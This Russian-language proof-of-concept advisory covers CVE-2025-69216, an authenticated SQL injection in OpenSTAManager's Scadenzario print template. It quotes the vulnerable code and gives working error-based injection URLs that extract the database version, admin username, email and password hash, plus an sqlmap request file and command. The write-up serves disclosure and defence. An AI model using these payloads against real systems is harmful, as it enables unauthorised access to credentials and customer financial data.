
PoC-репозиторий для CVE-2025-69216, аутентифицированная SQL-инъекция в шаблоне печати Scadenzario в OpenSTAManager, позволяющая извлечение учётных данных администратора и содержимого базы данных посредством error-based и blind SQLi.
| Поле | Подробности |
|---|
| Идентификатор CVE | CVE-2025-69216 |
| Серьезность | HIGH |
| Уведомление | Посмотреть уведомление |
| Обнаружил | Lukasz Rybak |
Уязвимость аутентифицированной SQL-инъекции в шаблоне печати Scadenzario (График платежей) OpenSTAManager позволяет любому аутентифицированному пользователю извлекать конфиденциальные данные из базы данных, включая учетные данные администратора, информацию о клиентах и финансовые записи. Уязвимость обеспечивает полный доступ на чтение к базе данных с помощью техники SQL-инъекции на основе ошибок.
Уязвимость существует в файле templates/scadenzario/init.php на строке 46, где параметр id_anagrafica напрямую конкатенируется в SQL-запрос без надлежащей санитизации:
Уязвимый код:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
Функция get() получает пользовательский ввод из параметров GET/POST без проверки. Значение параметра напрямую вставляется в строку SQL-запроса с помощью конкатенации строк вместо использования функции prepare() для санитизации, что позволяет проводить атаки SQL-инъекции.
Основная причина:
prepare() для санитизации вводаЗатронутая конечная точка:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
Затронутые файлы:
templates/scadenzario/init.php (строка 46) - Основная уязвимостьtemplates/scadenzario/init.php (строки 34, 40) - Аналогичный шаблон с параметрами датыpdfgen.php - Точка входа для отрисовки шаблона1. Подтверждение уязвимости - тест базовой синтаксической ошибки:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
Синтаксическая ошибка SQL отображается в ответе приложения

2. Извлечение версии базы данных - SQLi на основе ошибок:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Результат: ~8.3.0~ (версия MySQL)

3. Извлечение имени базы данных:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Результат: ~openstamanager~

4. Извлечение имени пользователя администратора:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Результат: ~admin~

5. Извлечение email администратора:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Результат: Адрес email администратора

6. Извлечение хеша пароля (частично - ограничение XPATH 31 символ):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Результат: bcrypt‑хеш пароля

7. Автоматизированная эксплуатация с помощью SQLMap:
Создайте файл запроса sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Запустите SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap подтвердил типы инъекций:

Кто подвержен:
Сообщено Łukasz Rybak
Этот CVE был раскрыт ответственно в соответствии с практикой координированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных и защитных целей.